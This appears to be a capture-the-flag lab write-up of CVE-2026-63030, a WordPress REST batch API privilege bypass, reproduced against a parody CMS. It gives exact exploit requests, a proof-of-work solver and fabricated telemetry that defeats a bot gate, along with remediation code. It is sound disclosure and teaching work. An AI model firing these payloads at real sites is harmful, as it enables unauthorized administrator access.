WordMess: Unauthenticated Privilege Bypass via Batch API Index Desynchronization (CVE-2026-63030)
Executive Summary
CVE-2026-63030 is a route confusion flaw in the WordPress Core REST API batch processor, disclosed 2026-07-17 and added to the CISA Known Exploited Vulnerabilities catalog four days later. The batch endpoint decides authorization for its sub-requests in a pass separate from the pass that dispatches them, and the two passes are joined only by array position. A sub-request the server rejects is dropped from the first pass but still occupies its slot in the second, so every element after it is dispatched under a verdict belonging to its neighbour.
WordMess is a WordPress parody CMS on Node/Express carrying a vulnerable implementation of that batch endpoint at POST /wp-json/batch/v1. This engagement drove the defect against it:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | CVE-2026-63030: unauthenticated privilege bypass via authorization index desynchronization | Critical | 9.1 | CWE-436, CWE-863 | POST /wp-json/batch/v1 |
A three element array carrying a malformed path first, an administrator gated call second, and a public call third causes the administrator gated call to execute while the public call is denied in its place. That reached arbitrary plugin installation and activation, the full account list with roles, and site configuration. No application account is involved: the only credential on the exploit request is a bot gate clearance cookie any client can issue itself in two requests.
Objective
Independently re-solve a BugForge medium difficulty lab and recover the flag, working black box against a live instance with no source access.
The Vulnerability: CVE-2026-63030
The defect was reconstructed black box during testing and identified as CVE-2026-63030 afterward. The mapping below was verified against public sources; the divergence from upstream is recorded under F1.
| CVE | CVE-2026-63030, WordPress Core REST API batch route confusion |
| CWE | CWE-436, Interpretation Conflict |
| Advisory | GHSA-ff9f-jf42-662q, published 2026-07-17 |
| Affected | WordPress 6.9.0 to 6.9.4 and 7.0.0 to 7.0.1. Trackers listing 6.8.x refer to the companion SQL injection, which has a wider range; the batch route confusion is 6.9 and 7.0 only |
| Fixed in | 6.9.5, 7.0.2 and 7.1 beta2, shipped with forced automatic updates |
| Severity | 9.8 Critical from WPScan, the CNA (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); 7.5 High from CISA-ADP (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Exploitation | Added to the CISA Known Exploited Vulnerabilities catalog on 2026-07-21 |
| Credited to | Adam Kues, Assetnote / Searchlight Cyber |
Rapid7’s analysis describes the root cause as follows:
The batch API performs validation and execution in separate loops. When
wp_parse_url()fails on a sub-request path, the error is pushed to the validation array but not the matches array. This desynchronizes the arrays, causing every subsequent request to dispatch under the wrong handler.
The GHSA advisory itself publishes no code level breakdown and no CVSS vector. It describes the defect only in summary, as route confusion in the REST batch endpoint that leads to remote code execution when combined with the companion SQL injection, and covers the two as one chain. The detailed sentences above come from third party analysis, not from the advisory.
What the desynchronization looks like
The handler keeps two lists: the requests the caller submitted, and the verdicts computed for them. Both are addressed by the same counter. That works only for as long as the two lists stay the same length.
Aligned. Every request reads its own verdict and the gate holds:
index 0 1
request GET /wp/v2/posts POST /wp/v2/plugins
verdict allowed denied
response 200 403
Shifted. A rejected element sits at index 0. It never reaches the verdict
pass, so the verdict list is one shorter than the request list, and every
later request reads the verdict belonging to the request after it:
index 0 1 2
request POST /// POST /wp/v2/plugins GET /wp/v2/posts
verdict (dropped) [0] denied [1] allowed
reads n/a verdict[1] = allowed verdict[2] = undefined
response 400 201 + flag 403
The privileged call at index 1 executes on the public route’s allowed, and the public route at index 2 reads off the end of the list and is denied in its place. Both halves of that trade are visible in one response.
The general shape, beyond WordPress: any system that keeps two lists in step by addressing both with the same counter breaks the moment an input is added to one list and not the other.
What the defect requires from an attacker
The bug is positional, so exploiting it is a matter of assembling one array with three roles filled in the right order:
- A rejectable item, placed before the target. Something the server refuses early enough to drop it from the validating pass. A malformed path is the canonical choice.
- The privileged item, the administrator gated call that should be denied.
- A donor item, placed after the target: any route the caller is genuinely permitted to reach, whose “allowed” verdict gets handed backward.
The response must also return per-item statuses, or there is no way to read verdicts positionally and no way to confirm the shift.
Everything that follows is the work of finding those three roles on this target and firing them in one request.
Why it matters more in production
Here the ceiling is administrator gated read and write access. In the wild, CVE-2026-63030 is only the first half of the chain published as wp2shell, and the second half turns on the same missing step rather than on anything smuggled in.
Route confusion delivers the sub-request to the posts handler without it being validated against the posts schema. The legitimate author__not_in parameter therefore arrives as a raw attacker controlled scalar instead of the integer array the schema would have enforced. WP_Query sanitizes that parameter only when it is already array shaped, so the scalar survives uncleaned and reaches the SQL query. That is CVE-2026-60137 (GHSA-fpp7-x2x2-2mjf), and from there the chain reaches code execution. No parameter is injected that the endpoint did not already accept; a known parameter simply arrives unvalidated.
The chain needs no authentication and no plugins on a default install, which is what drove the emergency release and the forced auto-update.
Scope / Initial Access
# Target Application
URL: https://lab-1785515852853-q9sdpd.labs-app.bugforge.io/
# Auth details
Open registration: POST /wp-login.php?action=register (user_login, user_email, pwd)
Registered account: d4rk / Passw0rd!23 -> user id 8, role "subscriber"
Session: wordmess_session cookie (express-session signed, "s%3A" prefix)
REST: cookie authenticated calls additionally require X-WP-Nonce,
exposed in the /wp-admin HTML as window.wpApiSettings
Edge: Forgeflare clearance cookie required on /wp-json* and /wp-admin*
An account was registered to establish an authenticated baseline, but it is not part of the confirmed attack path. /wp/v2/users, /wp/v2/settings and /wp/v2/plugins return 401 rest_forbidden both anonymously and with a valid subscriber session, so those routes are gated on role rather than on authentication. The exploit request in F1 carries no wordmess_session cookie at all.
Reconnaissance: Locating the Three Roles
Recon had two jobs: get past the edge gate that fronts the REST surface, then establish that this target exposes the ingredients the defect needs.
The edge gate (the precondition).
- Forgeflare states its own failure conditions. A 403 from the gate returns JSON with a
reasons[]array. Bare curl returns["bot-ua"]; adding only a browser User-Agent returns["no-accept-language","no-sec-fetch"]; a full browser header set returns 200. Three requests converge on a passing request envelope with no guessing. - Sensitive paths get a second tier.
/wp-json*and/wp-admin*return an interstitial page embedding<script id="ff-data">with{"token","n","difficulty":16,"to","ray"}. Clearing it requires a proof of work,sha256(n + ":" + nonce)with at least 16 leading zero bits, posted to/forgeflare/verify. The resultingforgeflare_clearancecookie carriesMax-Age=60, so any tooling has to re-clear roughly every minute or it silently degrades to 403. - The gate inspects envelope, not payload. Ten attack strings across five injection classes, sent in a query parameter on a benign path, all returned 200 with no block header. Nothing about this engagement required obfuscating a payload.
The vulnerable surface.
- The batch endpoint is present.
GET /wp-jsonlists namespaceswp/v2andbatch/v1. Four collections (posts,pages,comments,media) answer 200 anonymously;users,settingsandpluginsanswer 401. The public collections are the donor candidates and the 401 routes are the targets. - The contract is self documenting, and the response is per item.
OPTIONS /wp-json/batch/v1returns the sub-request schema: an array of at most 25 items, each acceptingmethod(GET, POST, PUT, PATCH, DELETE),path,bodyand arbitraryheaders. A benign single item batch returns{"responses":[{"status":200,"body":[...]}]}, confirming verdicts can be read by position. - A rejectable item class exists. Probing 19 spellings of
/wp/v2/usersthrough the batch endpoint returned three separate verdicts:rest_forbiddenfor resolvable but gated routes,rest_no_routefor unknown routes, andrest_invalid_pathfor paths containing//,..,;or an absolute URL. That third class is the rejected item the defect needs, and"///"is the shortest member of it. Onlyrest_invalid_pathwas used as the rejected element here; whether arest_no_routeelement also drops out of the verdict pass was not tested, and it is worth checking first on a target where malformed paths are sanitized.
OPTIONS is also ungated on routes whose other verbs are not, returning the full argument schema to an anonymous caller. That is how the hook parameter on POST /wp/v2/plugins was discovered. It is a recon convenience rather than a finding.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node/Express. Unmatched routes return Express’s Cannot GET /path with Content-Security-Policy: default-src 'none' |
| Frontend | Server rendered WordPress style admin at /wp-admin; window.wpApiSettings exposes the REST root and nonce |
| Auth | wordmess_session cookie (express-session signed value); cookie authenticated REST calls also require X-WP-Nonce |
| Edge | Forgeflare bot gate: header envelope check plus a proof of work interstitial on sensitive paths, Forgeflare-Ray header on blocks |
| Database | Not observable from the client |
API Surface
| Endpoint | Method | Anonymous | Subscriber | Role in the exploit |
|---|---|---|---|---|
/wp/v2/posts |
GET, POST | 200 | 200 | Donor |
/wp/v2/pages |
GET | 200 | 200 | Donor candidate |
/wp/v2/comments |
GET, POST | 200 | 200 | Donor candidate |
/wp/v2/media |
GET | 200 | 200 | Donor candidate |
/wp/v2/users |
GET | 401 | 401 | Target |
/wp/v2/users/me |
GET | 401 | 200 | Returns id 8, subscriber |
/wp/v2/settings |
GET, POST, PUT | 401 | 401 | Target |
/wp/v2/plugins |
GET, POST | 401 | 401 | Target; POST takes slug, status, hook |
/batch/v1 |
POST | 200 | 200 | The vulnerable dispatcher |
The Method column lists the verbs the route index registers; the status columns record the response to GET (or to POST for /batch/v1). Anonymous creation through the POST verbs registered on posts and comments was not exercised.
Known Users
Recovered through F1 (GET /wp/v2/users as the middle element of the batch).
| Username | ID | Role |
|---|---|---|
| admin | 1 | administrator |
| edith | 2 | editor |
| aaron | 3 | author |
| cora | 4 | contributor |
| sam | 5 | subscriber |
| reader42 | 6 | subscriber |
| test | 7 | subscriber |
| d4rk | 8 | subscriber (registered during testing) |
Attack Chain Visualization
┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐
│ GET /forgeflare/ │ │ Solve sha256(n+":"+ │ │ POST /forgeflare/ │
│ challenge?to=/wp-json/ │ │ nonce) to 16 leading │ │ verify {token, nonce, │
│ batch/v1 -> ff-data │───▶│ zero bits: ~65k hashes │───▶│ hp:"", telemetry:{…}} │
│ {token, n, difficulty} │ │ expected, under 0.1 s │ │ -> forgeflare_clearance│
└────────────────────────┘ └────────────────────────┘ └────────────────────────┘
│ Max-Age=60
▼
┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐
│ [1] 201: plugin │ │ Read every sub- │ │ POST /wp-json/batch/v1 │
│ installed, active, │ │ response by POSITION, │ │ ["///", POST /wp/v2/ │
│ flag in body │◀───│ not just the one you │◀───│ plugins, GET /wp/v2/ │
│ [2] 403 on a PUBLIC │ │ targeted │ │ posts] no account, │
│ route: the shift │ │ │ │ clearance cookie only │
└────────────────────────┘ └────────────────────────┘ └────────────────────────┘
Findings
F1: CVE-2026-63030, unauthenticated privilege bypass via authorization index desynchronization
Severity: Critical
CVSS v3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-436 (Interpretation Conflict), CWE-863 (Incorrect Authorization)
Endpoint: POST /wp-json/batch/v1
Authentication required: No
This score is derived from what was demonstrated on this target, not inherited from the CVE record. C:H covers the full account list with roles and the site settings; I:H covers the plugin installed and left active, confirmed persisted in a later request; A:N because no availability impact was observed. For reference, the two published scores bracket this one: WPScan’s 9.8 adds A:H and scores the full chain through to code execution, while CISA-ADP’s 7.5 scores disclosure alone at I:N, which understates a finding that also writes.
Description
Sub-requests that reach the dispatcher on their own merits run anonymously against a small allowed list, so an administrator gated route sent as an ordinary batch element returns 403 rest_forbidden. Note the status differs by route into the same resource: these routes answer 401 when called directly and 403 as batch elements, which reflects the dispatcher running sub-requests without the caller’s session rather than any difference in policy. The gate is real and it works, one request at a time.
It stops working when the array also contains an element whose path the dispatcher rejects as malformed. With {"method":"POST","path":"///"} ahead of an administrator gated sub-request, the gated sub-request executes and returns 201, while the public GET /wp/v2/posts that follows it returns 403. A public route being denied is the visible other half of the same shift.
Knowing a shift exists is not enough to build the payload. Which way it moves and how far decide where the privileged call has to sit, and both are measurable. Eight controls, one variable each, were run against this target, and all eight matched the predicted outcome:
| Control | Batch contents | Observed |
|---|---|---|
| A | [plugins] |
403 |
| B | [posts, plugins], no malformed element |
200, 403 |
| C | [bad, plugins], nothing after the target |
400, 403 |
| D | [plugins, bad, posts], malformed element after the target |
403, 400, 403 |
| E | [bad, plugins, posts] |
400, 201 with flag, 403 |
| F | [bad, bad, plugins, posts, posts] |
201 with flag, shift of two |
| G | [bad, users, posts] |
200, full account list with roles |
| H | [bad, settings, posts] |
200, site configuration |
Read together, those controls fix the payload’s shape rather than merely confirming the bug. D moves the malformed element after the target and the bypass disappears, so the shift runs forward only and the rejected element has to lead. C removes the trailing donor and the target is denied again, so the borrowed verdict has to come from a real request placed behind the target. F adds a second rejected element and the bypass still fires, so the offset equals the count of preceding rejected elements rather than being fixed at one. A and B rule out the alternatives, that the route was public all along or that any multi element array relaxes the gate.
Direction forward, magnitude one per rejected element, donor required behind the target. That is the whole recipe, and it is the three element array in Step 3.
Inferred mechanism, not observed. No source was available, so the following is a reconstruction consistent with all eight controls rather than a description of the running code. Verdicts appear to be computed over an array from which the malformed entries have been removed, then read back using each sub-request’s original index:
// Inferred from black box behaviour; source not available.
const valid = requests.filter(r => isValidPath(r.path)); // length N-k
const perms = valid.map(r => checkPermission(r)); // indices 0..N-k-1
requests.forEach((r, i) => {
if (!isValidPath(r.path)) return respond(400, 'rest_invalid_path');
if (!perms[i]) return respond(403, 'rest_forbidden'); // original index
// into filtered array
dispatch(r);
});
Controls G and H confirm the technique reaches any administrator gated route in the table, for both reads and writes, by substituting the middle element.
How this implementation differs from upstream
Both are the same defect, an error recorded in one array and not its sibling, leaving position as an untrustworthy join key. The emphasis differs on one point.
| Upstream (WordPress Core) | Observed here (WordMess) | |
|---|---|---|
| What desynchronizes | Validation array against matches array | Same shape, verdicts against requests |
| What shifts | The route match, meaning the handler and its permission callback | The permission verdict only |
| Evidence | Advisory and third party analysis | The plugins handler ran correctly, creating a plugin with the exact slug submitted, so the handler resolved was the right one |
| Trigger | wp_parse_url() failure on a sub-request path |
Any path the dispatcher answers with rest_invalid_path |
WordMess is a re-implementation rather than WordPress Core, so its internals are not expected to match line for line, and no claim is made here about which arrays the target actually keeps.
Impact
Unauthenticated privilege escalation to administrator gated functionality: arbitrary plugin installation and activation, plus disclosure of the full account list with roles and of site configuration including admin_email and default_role.
Reproduction
Step 1: Request a Forgeflare challenge for the batch path
GET /forgeflare/challenge?to=%2Fwp-json%2Fbatch%2Fv1 HTTP/1.1
Host: lab-1785515852853-q9sdpd.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Response: 200 with an interstitial page containing <script id="ff-data" type="application/json">{"token":"2a50ab48648d170305aa3c99.16.1785517943772.9b7586e8a666acfa","n":"2a50ab48648d170305aa3c99","difficulty":16,"to":"/wp-json/batch/v1","ray":"d7a5bf8c099ca714"}</script>. The challenge string and required difficulty are supplied by the server in the page body.
Step 2: Solve the proof of work and claim clearance
Find a nonce satisfying the declared difficulty:
import hashlib
n = "2a50ab48648d170305aa3c99"
nonce = 0
while True:
h = hashlib.sha256(f"{n}:{nonce}".encode()).digest()
if int.from_bytes(h[:4], "big") >> 16 == 0: # 16 leading zero bits
break
nonce += 1
print(nonce) # 6201 for this challenge, 6,202 hashes
Sixteen bits is 65,536 hashes expected per challenge, and each challenge draws its own luck: this one landed at 6,202, while a separately measured run took 54,762 hashes in 0.053 seconds single threaded. Either way the tier costs a fraction of a second.
POST /forgeflare/verify HTTP/1.1
Host: lab-1785515852853-q9sdpd.labs-app.bugforge.io
Content-Type: application/json
{"token": "2a50ab48648d170305aa3c99.16.1785517943772.9b7586e8a666acfa",
"nonce": 6201, "to": "/wp-json/batch/v1", "hp": "",
"telemetry": {"mouseMoves": 42, "clicks": 3, "keys": 5, "scrolls": 2,
"dwellMs": 4200, "webdriver": false, "plugins": 5,
"languages": 2, "screen": 1920}}
Response:
HTTP/1.1 200 OK
Set-Cookie: forgeflare_clearance=v1.1785517883943.ef5988a00011c601.dd91ab1978522104508de34a;
Max-Age=60; Path=/; Expires=Fri, 31 Jul 2026 17:11:23 GMT; HttpOnly; SameSite=Lax
{"cleared":true,"to":"/wp-json/batch/v1","ttl_ms":60000}
The telemetry values above are fabricated and are accepted as sent; the honeypot field hp must stay empty. The numbers embedded in the token and the cookie are expiry deadlines rather than issue times, which is why the cookie’s 1785517883943 (17:11:23, matching its own Expires) reads as earlier than the token’s 1785517943772 (17:12:23) on an exchange captured at 17:10:23.
Step 3: Fire the three roles in one array
POST /wp-json/batch/v1 HTTP/1.1
Host: lab-1785515852853-q9sdpd.labs-app.bugforge.io
Content-Type: application/json
Accept: application/json
Cookie: forgeflare_clearance=v1.1785517883943.ef5988a00011c601.dd91ab1978522104508de34a
{"requests":[{"method":"POST","path":"///"},
{"method":"POST","path":"/wp/v2/plugins","body":{"slug":"pwn-poc","hook":"init"}},
{"method":"GET","path":"/wp/v2/posts"}]}
Response:
{"responses":[
{"status":400,"error":{"code":"rest_invalid_path","message":"Malformed route path."}},
{"status":201,"body":{"plugin":"pwn-poc","installed":true,"status":"active","hook":"",
"flag":"bug{l2OV8HnnGJQA1d3wl8rXemBH4JNnCmOz}"}},
{"status":403,"error":{"code":"rest_forbidden","message":"Sorry, you are not allowed to do that."}}
]}
The request carries only forgeflare_clearance. Sub-response 2 shows the plugin created and activated; sub-response 3 shows the public posts collection denied. Note that hook was submitted as "init" and returned as "", so the submitted hook name was not stored on create.
Step 4: Confirm the reach beyond plugin installation
Swap the middle element for a read against another gated route:
{"requests":[{"method":"POST","path":"///"},
{"method":"GET","path":"/wp/v2/users"},
{"method":"GET","path":"/wp/v2/posts"}]}
Response: sub-response 2 returns 200 with all eight accounts including {"id":1,"slug":"admin","name":"Site Admin","role":"administrator"}. Substituting /wp/v2/settings returns admin_email, default_role, users_can_register, active_plugins and siteurl. A separate read of /wp/v2/plugins in a later clearance window showed the injected slugs still present with "status":"active", confirming a persisted state change rather than an echoed response.
POST and PUT on /wp/v2/settings are reachable the same way and were deliberately not exercised, as they would mutate site configuration beyond what the objective required.
The hook parameter is the lab’s nod at the second stage of the production chain. A published post on the target advertises plugins as wiring named hooks rather than running arbitrary code, and the seeded plugins carry real WordPress filter names (capital_P_dangit, wptexturize, convert_smilies, make_clickable). Since the submitted value was not stored, whether a stored hook name reaches a callable lookup was not tested.
Remediation
Upstream fixed this in WordPress 6.9.5 and 7.0.2, shipped with forced automatic updates. Any installation in the affected range should be patched rather than mitigated. For a re-implementation exhibiting the same defect:
Fix 1 is the remedy. Fix 2 is hardening and does not stand alone. Applying only Fix 2 to the vulnerable code leaves control E working: the privileged sub-request at index 1 reads perms[1], which holds a genuine true donated by the public route, so a stricter comparison against a value that is already true changes nothing. Fix 2 closes only the read-past-the-end case at the tail of the array. Ship Fix 1.
Fix 1: Keep the verdict with the request rather than in a parallel array
// BEFORE (Vulnerable): the inferred shape from F1, not the target's source.
// Two arrays of different lengths joined by index
const valid = requests.filter(r => isValidPath(r.path));
const perms = valid.map(r => checkPermission(r));
requests.forEach((r, i) => {
if (!isValidPath(r.path)) return respond(400, 'rest_invalid_path');
if (!perms[i]) return respond(403, 'rest_forbidden');
dispatch(r);
});
// AFTER (Secure): one pass, verdict carried on the request object
requests.forEach(r => {
if (!isValidPath(r.path)) return respond(400, 'rest_invalid_path');
const route = resolveRoute(r.path, r.method);
if (!route) return respond(404, 'rest_no_route');
if (checkPermission(r, route) !== true) return respond(403, 'rest_forbidden');
dispatch(r, route);
});
If a two pass structure has to stay, preserve positions by writing a placeholder for every rejected entry so the arrays never differ in length:
const perms = requests.map(r => isValidPath(r.path) ? checkPermission(r) : null);
Fix 2 (defense in depth, not a substitute for Fix 1): Fail closed on the permission check
// BEFORE: a missing verdict reads as falsy by accident
if (!perms[i]) return respond(403, 'rest_forbidden');
// AFTER: only an explicit allow proceeds
if (perms[i] !== true) return respond(403, 'rest_forbidden');
This does not address the borrowed verdict, which is a real true. It addresses the other end of the same array: the observed undefined at the tail happened to be falsy, so the defect denied there by luck, and a future refactor returning an object rather than a boolean would turn that same read into a permit. Worth having, worthless alone.
Additional recommendations:
- Resolve the route and its permission callback together, and dispatch using that same resolved pair, so a request can never execute under another request’s decision.
- Treat every sub-request as a full request: apply the same permission callback the direct route would apply, under the same identity, rather than a separate allowed list maintained by the dispatcher.
- Add a regression test that submits a mixed validity array and asserts that a known public sub-request placed after a rejected one still returns 200. That single assertion catches this whole class.
- Do not rely on the edge gate as a compensating control. Clearance is self service, so it delays automation by fractions of a second and gates nothing.
OWASP Top 10 Coverage
- A06:2021 Vulnerable and Outdated Components: the target carries a vulnerable implementation of CVE-2026-63030, a defect patched in supported WordPress releases and currently exploited in the wild against installs still in the affected range.
- A01:2021 Broken Access Control: administrator gated routes were reached anonymously through the batch dispatcher, returning the full account list, site configuration, and a persisted plugin installation.
- A04:2021 Insecure Design: authorization is evaluated in a pass separate from execution and the two are joined by array position, so the design depends on both passes always producing arrays of equal length.
- A05:2021 Security Misconfiguration: the edge gate accepts self reported browser telemetry as evidence of a human, and
OPTIONSreturns argument schemas for routes whose other verbs are denied.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting proxy, request replay, and the saved request history used for evidence capture |
| curl | Envelope probing of the edge gate, and the unauthenticated exploit request with a fresh cookie jar |
| Python 3 (hashlib) | Proof of work solver and the driver that sent batch arrays and read sub-responses by position |
References
- CVE-2026-63030 (NVD record) (both published CVSS scores and their assigners)
- CVE-2026-63030 advisory GHSA-ff9f-jf42-662q
- GHSA-fpp7-x2x2-2mjf: SQL injection in the
author__not_inparameter ofWP_Query(CVE-2026-60137, the second half of wp2shell) - CISA: Four Known Exploited Vulnerabilities added to the catalog, 2026-07-21
- Rapid7: CVE-2026-63030 wp2shell, a critical RCE in WordPress Core
- CWE-436: Interpretation Conflict
- OWASP Top 10 2021: A01 Broken Access Control
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Send gated routes as ordinary batch elements, expecting the dispatcher to skip the permission layer | All returned 403 rest_forbidden |
Batch sub-requests run anonymously against a default deny list of the four public collections. One element at a time, the batch path is more restrictive than the front door, not less |
Path parsing disagreement between the batch router and the real router, 19 spellings of /wp/v2/users |
Three verdict classes, none granting access | The dispatcher normalizes the path (strips /wp-json, trims, forces a leading slash, drops the query) then matches exactly, and permission binds to the resolved route. The run was not wasted: it produced the rest_invalid_path class the exploit needs |
Attacker supplied sub-request headers (X-Forwarded-For: 127.0.0.1, X-WP-Internal) |
403 unchanged | The headers field is caller controlled but nothing downstream makes a trust decision from it |
Verb asymmetric access control on POST /wp/v2/plugins, probed with an empty body |
400 rest_invalid_param: missing required param: slug while every sibling returned 403 |
A false positive. Resending with a schema valid body returned 403: parameter validation runs before the permission check, so the 400 meant the check had not been reached, not that it had passed |
Unpublished content through the status parameter, in the query and in the sub-request body |
Same three published posts every time | Forced server side for unprivileged callers. The control (body: {"post":1} filtering comments correctly) proved body parameters do reach the handler, so this was a real negative rather than a broken test |
| Hidden route discovery, 316 paths across 7 namespaces using the batch endpoint as a fast probe | Non 404 set matched the public route index exactly | There are no unlisted routes; the index is complete |
| Treat Forgeflare as a signature inspecting WAF, 10 attack strings across five injection classes | All returned 200 with no block | The gate inspects the request envelope only and never reads the payload |
| Malformed paths tested in isolation as a bypass in their own right | 400 rest_invalid_path, nothing further |
The defect is positional. A rejected element is inert on its own and only matters as the first of three roles in one array, which is why the two halves sat in the notes for hours without being combined |
Tags: #webapp #cve-2026-63030 #cwe-436 #broken-access-control #batch-api #wordpress #bugforge
Document Version: 2.0
Last Updated: 2026-07-31